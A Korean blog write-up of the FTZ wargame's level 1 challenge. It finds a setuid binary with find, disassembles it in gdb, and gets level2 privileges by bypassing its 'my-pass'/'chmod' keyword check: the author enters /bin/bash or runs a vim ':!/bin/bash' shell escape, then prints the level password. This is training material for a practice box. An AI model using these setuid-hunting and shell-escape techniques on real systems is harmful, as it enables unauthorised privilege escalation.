January 16, 2020

FTZ_1 Write UP

[FTZ 1번 Write UP ]

본 Write UP은 MacBook Pro 기준으로 작성되었습니다.

올해 2020년부터는 시스템 해킹 관련 공부를 다시 복습하여 블로그에 포스팅하려고 합니다.





??  ~ ssh -c aes128-cbc level1@172.16.212.129

level1@172.16.212.129's password:

[level1@ftz level1]$ ls
hint  public_html  tmp


[level1@ftz level1]$ cat hint


level2 권한에 setuid가 걸린 파일을 찾는다.


[level1@ftz level1]$

cat 명령어로 힌트를 살펴보니 "level2 권한으로 Setuid가 설정된 파일을 찾는다" 라고 쓰여 있습니다.

즉, 해당 파일을 찾아 실행 또는 읽으면 문제가 풀리는 것 같네요.

  • setuid란?
    "리눅스 특수권한" 이라고 하며, 파일을 실행시 일시적으로 파일의 소유자 권한으로 실행이 되는것을 말합니다.
    예를 들어 해당 파일이 "root"의 소유자면 일반 계정의 사용자가 해당 파일을 실행함으로 일시적으로 루트 권한으로 해당 파일이 실행됩니다.





[level1@ftz level1]$ find --help | grep perm
      -nouser -nogroup -path PATTERN -perm [+-]MODE -regex PATTERN
      
[level1@ftz level1]$

find 명령의 옵션 중 "-perm" 옵션을 사용하여 해당 모드를 기준으로 조회할 수 있습니다.




[level1@ftz level1]$ find / -perm +4000 -user level2 2>/dev/null

/bin/ExecuteMe

"find / -perm +4000 -user level2 2>/dev/null" 명령을 사용하여 힌트에서 원하는 파일을 찾을 수 있게 되었습니다. 그러면 이제 해당 옵션을 알아보도록 하겠습니다.

  • find /
    "find" 명령어를 사용하여 최상위(/) 디렉토리에서부터 찾는다

  • -perm +4000
    Setuid는 4000이므로, Setuid가 설정된 파일을 옵션으로 설정

  • -user level2
    소유자가 "level2"인 파일

  • 2>/dev/null
    STDERR(2) 표준 에러를 /dev/null로 버린다.

해당 옵션을 사용하여 "/bin/ExecuteMe" 파일을 찾을 수 있게 되었습니다.





[level1@ftz level1]$ find / -perm +4000 -user level2 -exec ls -la {} \; 2>/dev/null

-rwsr-x---    1 level2   level1      12868  9월 10  2011 /bin/ExecuteMe

find 명령에 "-exec" 옵션을 추가하여 추가적인 명령을 사용할 수 있습니다.
"ls -la" 명령을 통해 해당 파일의 소유자 및 그룹권한을 확인하면 Setuid로 소유자가 "level2"로 되어 있으며, 그룹은 "level1"으로 설정되어있습니다.





[level1@ftz level1]$ find / -perm +4000 -user level2;
find: /lost+found: 허가 거부됨
find: /boot/lost+found: 허가 거부됨
find: /proc/1/fd: 허가 거부됨
find: /proc/2/fd: 허가 거부됨
find: /proc/3/fd: 허가 거부됨
find: /proc/4/fd: 허가 거부됨
find: /proc/9/fd: 허가 거부됨
find: /proc/5/fd: 허가 거부됨
find: /proc/6/fd: 허가 거부됨
find: /proc/7/fd: 허가 거부됨
find: /proc/8/fd: 허가 거부됨
find: /proc/10/fd: 허가 거부됨
find: /proc/11/fd: 허가 거부됨
find: /proc/19/fd: 허가 거부됨
find: /proc/74/fd: 허가 거부됨
find: /proc/2222/fd: 허가 거부됨
find: /proc/2535/fd: 허가 거부됨
find: /proc/2589/fd: 허가 거부됨
find: /proc/2593/fd: 허가 거부됨
find: /proc/2603/fd: 허가 거부됨
find: /proc/2622/fd: 허가 거부됨
find: /proc/2686/fd: 허가 거부됨
find: /proc/2723/fd: 허가 거부됨
find: /proc/2757/fd: 허가 거부됨
find: /proc/2766/fd: 허가 거부됨
find: /proc/2776/fd: 허가 거부됨
find: /proc/2785/fd: 허가 거부됨
find: /proc/2794/fd: 허가 거부됨
find: /proc/2837/fd: 허가 거부됨
find: /proc/2846/fd: 허가 거부됨
find: /proc/.2867/fd: 허가 거부됨
find: /proc/.2868/fd: 허가 거부됨
find: /proc/.2869/fd: 허가 거부됨
find: /proc/.2870/fd: 허가 거부됨
find: /proc/2876/fd: 허가 거부됨
find: /proc/.2877/fd: 허가 거부됨
find: /proc/.2878/fd: 허가 거부됨
find: /proc/.2879/fd: 허가 거부됨
find: /proc/.2880/fd: 허가 거부됨
find: /proc/2924/fd: 허가 거부됨
find: /proc/2925/fd: 허가 거부됨
find: /proc/2926/fd: 허가 거부됨
find: /proc/2927/fd: 허가 거부됨
find: /proc/2928/fd: 허가 거부됨
find: /proc/2929/fd: 허가 거부됨
find: /proc/2930/fd: 허가 거부됨
find: /proc/2931/fd: 허가 거부됨
find: /proc/10742/fd: 허가 거부됨
find: /proc/12013/fd: 허가 거부됨
find: /proc/12015/fd: 허가 거부됨
find: /var/lib/slocate: 허가 거부됨
find: /var/lib/nfs/statd: 허가 거부됨
find: /var/lib/dav: 허가 거부됨
find: /var/lib/mysql/mysql: 허가 거부됨
find: /var/lib/mysql/test: 허가 거부됨
find: /var/lib/pgsql: 허가 거부됨
find: /var/log/httpd: 허가 거부됨
find: /var/log/squid: 허가 거부됨
find: /var/log/samba: 허가 거부됨
find: /var/cache/mod_ssl: 허가 거부됨
find: /var/cache/alchemist/printconf.rpm: 허가 거부됨
find: /var/cache/alchemist/printconf.local: 허가 거부됨
find: /var/run/sudo: 허가 거부됨
find: /var/spool/at: 허가 거부됨
find: /var/spool/clientmqueue: 허가 거부됨
find: /var/spool/mqueue: 허가 거부됨
find: /var/spool/cron: 허가 거부됨
find: /var/spool/squid: 허가 거부됨
find: /var/empty/sshd: 허가 거부됨
find: /var/tux: 허가 거부됨
find: /etc/sysconfig/pgsql: 허가 거부됨
find: /etc/default: 허가 거부됨
find: /etc/httpd/conf/ssl.crl: 허가 거부됨
find: /etc/httpd/conf/ssl.crt: 허가 거부됨
find: /etc/httpd/conf/ssl.csr: 허가 거부됨
find: /etc/httpd/conf/ssl.key: 허가 거부됨
find: /etc/httpd/conf/ssl.prm: 허가 거부됨
find: /root: 허가 거부됨
find: /usr/share/ssl/CA: 허가 거부됨
/bin/ExecuteMe
find: /home/clear: 허가 거부됨
find: /home/level10/program: 허가 거부됨
find: /home/level5/tmp: 허가 거부됨
find: /home/trainer1: 허가 거부됨
find: /home/trainer10: 허가 거부됨
find: /home/trainer2: 허가 거부됨
find: /home/trainer3: 허가 거부됨
find: /home/trainer4: 허가 거부됨
find: /home/trainer5: 허가 거부됨
find: /home/trainer6: 허가 거부됨
find: /home/trainer7: 허가 거부됨
find: /home/trainer8: 허가 거부됨
find: /home/trainer9: 허가 거부됨
[level1@ftz level1]$

find 명령을 사용 시 "2>/dev/null" 옵션을 사용하지 않는다면 위 사진처럼 권한이 없는 파일에는 "허가 거부됨" 에러 메시지가 불필요하게 출력됩니다.

이를 정리(표시되지 않게)를 위해 표준 에러는 /dev/null로 보내 화면에 표시되지 않도록 합니다.

[level1@ftz level1]$ find / -perm +4000 -user level2 -exec ls -la {} \;  2>/dev/null

-rwsr-x---    1 level2   level1      12868  9월 10  2011 /bin/ExecuteMe

해당 파일을 실행시켜 보도록 하겠습니다.




		레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ ls


hint  public_html  tmp




		레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ cat hint




텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


[level1@ftz level1]$

힌트를 확인해보면, "텍스트 파일 편집기를 이용해서 쉘에 명령을 실행시킬수있다" 형식으로 힌트를 제공하고 있습니다.

그러면 힌트를 통해 문제를 풀어보기전 해당 바이너리를 gdb로 뚜따 해보겠습니다.




주의!! gdb로 먼저 분석하기 전 꼭 "tmp" 또는 임시 디렉터리에 복사하여 분석해야 합니다. 아래와 같은 에러가 발생할 수 있습니다.


(gdb) b * 0x08048517
Breakpoint 1 at 0x8048517
(gdb) r
Starting program: /bin/ExecuteMe
Couldn't get registers: 명령이 허용되지 않음.




[level1@ftz tmp]$ cp /bin/ExecuteMe /home/level1/tmp



[level1@ftz level1]$ gdb -q /home/level1/tmp/ExecuteMe
(gdb) disass main
Dump of assembler code for function main:
0x08048488 <main+0>:	push   %ebp
0x08048489 <main+1>:	mov    %esp,%ebp
0x0804848b <main+3>:	sub    $0x28,%esp
0x0804848e <main+6>:	and    $0xfffffff0,%esp
0x08048491 <main+9>:	mov    $0x0,%eax
0x08048496 <main+14>:	sub    %eax,%esp
0x08048498 <main+16>:	sub    $0xc,%esp
0x0804849b <main+19>:	push   $0x8048680
0x080484a0 <main+24>:	call   0x8048358 <system>
0x080484a5 <main+29>:	add    $0x10,%esp
0x080484a8 <main+32>:	sub    $0xc,%esp
0x080484ab <main+35>:	push   $0x804868f
0x080484b0 <main+40>:	call   0x8048378 <chdir>
0x080484b5 <main+45>:	add    $0x10,%esp
0x080484b8 <main+48>:	sub    $0xc,%esp
0x080484bb <main+51>:	push   $0x80486a0
0x080484c0 <main+56>:	call   0x80483a8 <printf>
0x080484c5 <main+61>:	add    $0x10,%esp
0x080484c8 <main+64>:	sub    $0xc,%esp
0x080484cb <main+67>:	push   $0x80486e0
0x080484d0 <main+72>:	call   0x80483a8 <printf>
0x080484d5 <main+77>:	add    $0x10,%esp
0x080484d8 <main+80>:	sub    $0xc,%esp
0x080484db <main+83>:	push   $0x8048720
0x080484e0 <main+88>:	call   0x80483a8 <printf>
0x080484e5 <main+93>:	add    $0x10,%esp
0x080484e8 <main+96>:	sub    $0xc,%esp
0x080484eb <main+99>:	push   $0x8048760
0x080484f0 <main+104>:	call   0x80483a8 <printf>
0x080484f5 <main+109>:	add    $0x10,%esp
0x080484f8 <main+112>:	sub    $0xc,%esp
0x080484fb <main+115>:	push   $0x8048782
0x08048500 <main+120>:	call   0x80483a8 <printf>
0x08048505 <main+125>:	add    $0x10,%esp
0x08048508 <main+128>:	sub    $0x4,%esp
0x0804850b <main+131>:	pushl  0x8049948
0x08048511 <main+137>:	push   $0x1e
0x08048513 <main+139>:	lea    0xffffffd8(%ebp),%eax
0x08048516 <main+142>:	push   %eax
0x08048517 <main+143>:	call   0x8048368 <fgets>
0x0804851c <main+148>:	add    $0x10,%esp
0x0804851f <main+151>:	lea    0xffffffd8(%ebp),%eax
0x08048522 <main+154>:	sub    $0x8,%esp
0x08048525 <main+157>:	push   $0x804879c
---Type <return> to continue, or q <return> to quit---
0x0804852a <main+162>:	push   %eax
0x0804852b <main+163>:	call   0x8048388 <strstr>
0x08048530 <main+168>:	add    $0x10,%esp
0x08048533 <main+171>:	test   %eax,%eax
0x08048535 <main+173>:	je     0x8048551 <main+201>
0x08048537 <main+175>:	sub    $0xc,%esp
0x0804853a <main+178>:	push   $0x80487c0
0x0804853f <main+183>:	call   0x80483a8 <printf>
0x08048544 <main+188>:	add    $0x10,%esp
0x08048547 <main+191>:	sub    $0xc,%esp
0x0804854a <main+194>:	push   $0x0
0x0804854c <main+196>:	call   0x80483c8 <exit>
0x08048551 <main+201>:	lea    0xffffffd8(%ebp),%eax
0x08048554 <main+204>:	sub    $0x8,%esp
0x08048557 <main+207>:	push   $0x80487e8
0x0804855c <main+212>:	push   %eax
0x0804855d <main+213>:	call   0x8048388 <strstr>
0x08048562 <main+218>:	add    $0x10,%esp
0x08048565 <main+221>:	test   %eax,%eax
0x08048567 <main+223>:	je     0x8048583 <main+251>
0x08048569 <main+225>:	sub    $0xc,%esp
0x0804856c <main+228>:	push   $0x8048800
0x08048571 <main+233>:	call   0x80483a8 <printf>
0x08048576 <main+238>:	add    $0x10,%esp
0x08048579 <main+241>:	sub    $0xc,%esp
0x0804857c <main+244>:	push   $0x0
0x0804857e <main+246>:	call   0x80483c8 <exit>
0x08048583 <main+251>:	sub    $0xc,%esp
0x08048586 <main+254>:	push   $0x8048826
0x0804858b <main+259>:	call   0x80483a8 <printf>
0x08048590 <main+264>:	add    $0x10,%esp
0x08048593 <main+267>:	sub    $0x8,%esp
0x08048596 <main+270>:	push   $0xbba
0x0804859b <main+275>:	push   $0xbba
0x080485a0 <main+280>:	call   0x80483b8 <setreuid>
0x080485a5 <main+285>:	add    $0x10,%esp
0x080485a8 <main+288>:	sub    $0xc,%esp
0x080485ab <main+291>:	lea    0xffffffd8(%ebp),%eax
0x080485ae <main+294>:	push   %eax
0x080485af <main+295>:	call   0x8048358 <system>
0x080485b4 <main+300>:	add    $0x10,%esp
0x080485b7 <main+303>:	leave
0x080485b8 <main+304>:	ret
0x080485b9 <main+305>:	nop
0x080485ba <main+306>:	nop
---Type <return> to continue, or q <return> to quit---
0x080485bb <main+307>:	nop
End of assembler dump.

위 코드를 분석해보면 대략 아래 9단계로 나눌 수 있다.

  1. Stack 구성 (Function Prologue)
  2. system 호출 (명령 실행)
  3. chdir 호출 (디렉터리 이동하기)
  4. printf 5번 출력 (문자열 출력)
  5. fgets 사용자에게 입력 받는다.
  6. strstr 문자열 비교
  7. je 조건문 발생 (if문) 해당 조건문이 참일 경우 해당 주소로 점프(0x8048551), 하지만 거짓일 경우 다음줄 분기문을 실행하며 printf() 함수가 호출되고 exit()을 통해 프로그램이 종료된다.
  8. setreuid() 실행한다.
  9. 8번에서 사용된 "setreuid" 함수로 해당 권한으로 system() 함수를 이용해 명령을 실행한다.




0x0804849b <main+19>:	push   $0x8048680
0x080484a0 <main+24>:	call   0x8048358 <system>

(gdb) x/s 0x8048680
0x8048680 <_IO_stdin_used+28>:	 "/usr/bin/clear"

system 함수를 호출할 때 인자로 "/usr/bin/clear" 문자열을 전달하며, system 함수가 실행된다.
즉, system("/usr/bin/clear") 명령이 실행되어 출력된 화면의 버퍼를 제거한다.

스택은 아래 와 같이 쌓이게 된다.


주소
0x8048680 /usr/bin/clear




0x080484ab <main+35>:	push   $0x804868f
0x080484b0 <main+40>:	call   0x8048378 <chdir>

(gdb) x/s 0x804868f
0x804868f <_IO_stdin_used+43>:	 "/home/level2"

"/home/level2" 인자를 chdir 함수에 전달하여 실행한다.
즉, chdir("/home/level2") 명령이 실행되어 해당 디렉토리 경로로 이동한다.


주소
0x8048680 /usr/bin/clear
0x804868f /home/level2




0x080484b5 <main+45>:	add    $0x10,%esp
0x080484b8 <main+48>:	sub    $0xc,%esp
0x080484bb <main+51>:	push   $0x80486a0
0x080484c0 <main+56>:	call   0x80483a8 <printf>
0x080484c5 <main+61>:	add    $0x10,%esp
0x080484c8 <main+64>:	sub    $0xc,%esp
0x080484cb <main+67>:	push   $0x80486e0
0x080484d0 <main+72>:	call   0x80483a8 <printf>
0x080484d5 <main+77>:	add    $0x10,%esp
0x080484d8 <main+80>:	sub    $0xc,%esp
0x080484db <main+83>:	push   $0x8048720
0x080484e0 <main+88>:	call   0x80483a8 <printf>
0x080484e5 <main+93>:	add    $0x10,%esp
0x080484e8 <main+96>:	sub    $0xc,%esp
0x080484eb <main+99>:	push   $0x8048760
0x080484f0 <main+104>:	call   0x80483a8 <printf>
0x080484f5 <main+109>:	add    $0x10,%esp
0x080484f8 <main+112>:	sub    $0xc,%esp
0x080484fb <main+115>:	push   $0x8048782
0x08048500 <main+120>:	call   0x80483a8 <printf>

(gdb) x/s 0x80486a0
0x80486a0 <_IO_stdin_used+60>:	 "\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n"
(gdb) x/s 0x80486e0
0x80486e0 <_IO_stdin_used+124>:	 "\t\t한가지 실행시켜 드리겠습니다.\n"
(gdb) x/s 0x8048720
0x8048720 <_IO_stdin_used+188>:	 "\t\t(단, my-pass 와 chmod는 제외)\n"
(gdb) x/s 0x8048760
0x8048760 <_IO_stdin_used+252>:	 "\n\t\t어떤 명령을 실행시키겠습니까?\n"
(gdb) x/s 0x8048782
0x8048782 <_IO_stdin_used+286>:	 "\n\n\t\t[level2@ftz level2]$ "

위 printf() 함수에 전달된 인자를 하나씩 파악을 해보면 아까 실행했던 "/bin/ExecuteMe" 모니터에 출력된 문자열 그대로 전달된 걸 볼 수 있습니다.


주소
0x8048680 /usr/bin/clear
0x804868f /home/level2
0x80486a0 \n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n
0x80486e0 \t\t한가지 실행시켜 드리겠습니다.\n
0x8048720 \t\t(단, my-pass 와 chmod는 제외)\n
0x8048760 \n\t\t어떤 명령을 실행시키겠습니까?\n
0x8048782 \n\n\t\t[level2@ftz level2]$




0x0804850b <main+131>:	pushl  0x8049948
0x08048511 <main+137>:	push   $0x1e
0x08048513 <main+139>:	lea    0xffffffd8(%ebp),%eax
0x08048516 <main+142>:	push   %eax
0x08048517 <main+143>:	call   0x8048368 <fgets>
0x0804851c <main+148>:	add    $0x10,%esp

(gdb) x/s 0x8049948
0x8049948 <stdin@@GLIBC_2.0>:	 ""

위 분석 내용을 바탕으로 fgets(배열주소 %ebp+0xffffffd8, 30, stdin) 함수 호출을 한다.

Stack은 함수를 호출할때 쌓이는 인자가 반대로 되어 있는걸 알 수 있습니다.

해당 배열주소에 값이 들어가는지 확인해보도록 하겠습니다.




(gdb) b * 0x0804851c
Breakpoint 1 at 0x804851c

(gdb) r
Starting program: /home/level1/tmp/ExecuteMe



		레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ ABCDEFGHIJKL
        

Breakpoint 1, 0x0804851c in main ()
(gdb) x/3x $ebp+0xffffffd8
0xbfffdf20:	0x44434241	0x48474645	0x4c4b4a49

(gdb) x/3x $ebp-40
0xbfffdf20:	0x44434241	0x48474645	0x4c4b4a49

배열에는 차례대로 A부터 L까지 저장된 값을 볼 수 있습니다. (A는 41이며, 리틀엔디안/빅엔디안 차이로 41,42,43,44 차례가 아닌 44, 43, 42, 41 이러한 형식으로 되어 있습니다.)




0x0804851c <main+148>:	add    $0x10,%esp
0x0804851f <main+151>:	lea    0xffffffd8(%ebp),%eax
0x08048522 <main+154>:	sub    $0x8,%esp
0x08048525 <main+157>:	push   $0x804879c
0x0804852a <main+162>:	push   %eax
---Type <return> to continue, or q <return> to quit---
0x0804852b <main+163>:	call   0x8048388 <strstr>
0x08048530 <main+168>:	add    $0x10,%esp
0x08048533 <main+171>:	test   %eax,%eax
0x08048535 <main+173>:	je     0x8048551 <main+201>
0x08048537 <main+175>:	sub    $0xc,%esp
0x0804853a <main+178>:	push   $0x80487c0
0x0804853f <main+183>:	call   0x80483a8 <printf>
0x08048544 <main+188>:	add    $0x10,%esp
0x08048547 <main+191>:	sub    $0xc,%esp
0x0804854a <main+194>:	push   $0x0
0x0804854c <main+196>:	call   0x80483c8 <exit>

(gdb) x/s 0x804879c
0x804879c <_IO_stdin_used+312>:	 "my-pass"

(gdb) x/s 0x80487c0
0x80487c0 <_IO_stdin_used+348>:	 "\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n"

계속 구문을 분석하다보면, 아래 strstr 함수에서 무언가 비교를 한다.

조건문(je 거짓이면 다음줄 명령 실행하고 참이면 해당 주소로 점프한다.)를 통해 "my-pass" 문자열과 사용자가 입력한 문자열 ($ebp-40주소)와 비교한다

거짓이면 "my-pass 명령은 사용할 수 없습니다." 문자가 출력하며, 아래 exit 함수를 통해 프로그램은 종료된다.




0x08048551 <main+201>:	lea    0xffffffd8(%ebp),%eax
0x08048554 <main+204>:	sub    $0x8,%esp
0x08048557 <main+207>:	push   $0x80487e8
0x0804855c <main+212>:	push   %eax
0x0804855d <main+213>:	call   0x8048388 <strstr>
0x08048562 <main+218>:	add    $0x10,%esp
0x08048565 <main+221>:	test   %eax,%eax
0x08048567 <main+223>:	je     0x8048583 <main+251>
0x08048569 <main+225>:	sub    $0xc,%esp
0x0804856c <main+228>:	push   $0x8048800
0x08048571 <main+233>:	call   0x80483a8 <printf>
0x08048576 <main+238>:	add    $0x10,%esp
0x08048579 <main+241>:	sub    $0xc,%esp
0x0804857c <main+244>:	push   $0x0
0x0804857e <main+246>:	call   0x80483c8 <exit>

(gdb) x/s 0x80487e8
0x80487e8 <_IO_stdin_used+388>:	 "chmod"
(gdb) x/s 0x8048800
0x8048800 <_IO_stdin_used+412>:	 "\n\t\tchmod 명령은 사용할 수 없습니다.\n\n"

또한 앞에서 "my-pass" 구문을 검사하고 또 다시 아래 로직에서 strstr 함수를 통해 사용자에게 입력받은 값에서 "chmod" 문자열인지 비교한다.

해당 문자열이 존재한다면 "exit" 함수를 통해 프로그램을 종료한다.




0x08048596 <main+270>:	push   $0xbba
0x0804859b <main+275>:	push   $0xbba
0x080485a0 <main+280>:	call   0x80483b8 <setreuid>
0x080485a5 <main+285>:	add    $0x10,%esp
0x080485a8 <main+288>:	sub    $0xc,%esp
0x080485ab <main+291>:	lea    0xffffffd8(%ebp),%eax
0x080485ae <main+294>:	push   %eax
0x080485af <main+295>:	call   0x8048358 <system>

"0xbba"는 10진수로 3002를 뜻하므로, setreuid(3002, 3002) 인자를 넣어 함수를 실행한다.

즉, 해당 권한(3002)로 사용자가 입력한 문자열을 "system" 함수에 인자로 전달되어 실행된다.
아마 3002는 level2 권한으로 예상된다.

자 그럼 이제 대략 로직을 파악했으니 본격적으로 문제를 풀어보자.




		레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ /bin/bash


[level2@ftz level2]$ ls
hint  public_html  tmp
[level2@ftz level2]$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)
[level2@ftz level2]$

바로 shell을 실행시켜 level2 권한을 유지하는 방법도 있지만 아래와 같이 hint 방법대로 "vim" 편집기를 이용할 수 도 있습니다.




	레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ vim

위와 같이 vim 편집기를 열어주세요.


~
~
~
~
~
~
~
~
~
~
~
:!/bin/bash

그리고 편집기에서 명령을 내리기 위해 ":!/bin/bash"를 입력하여 bash shell를 실행시켜주세요.


	레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ vim


계속하려면 엔터 혹은 명령을 입력하십시오
[level2@ftz level2]$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)

[level2@ftz level2]$ my-pass

Level2 Password is "hacker or cracker".

[level2@ftz level2]$

vim를 이용해서 "level2" 권한을 유지한채 명령을 계속 시작할 수 있습니다.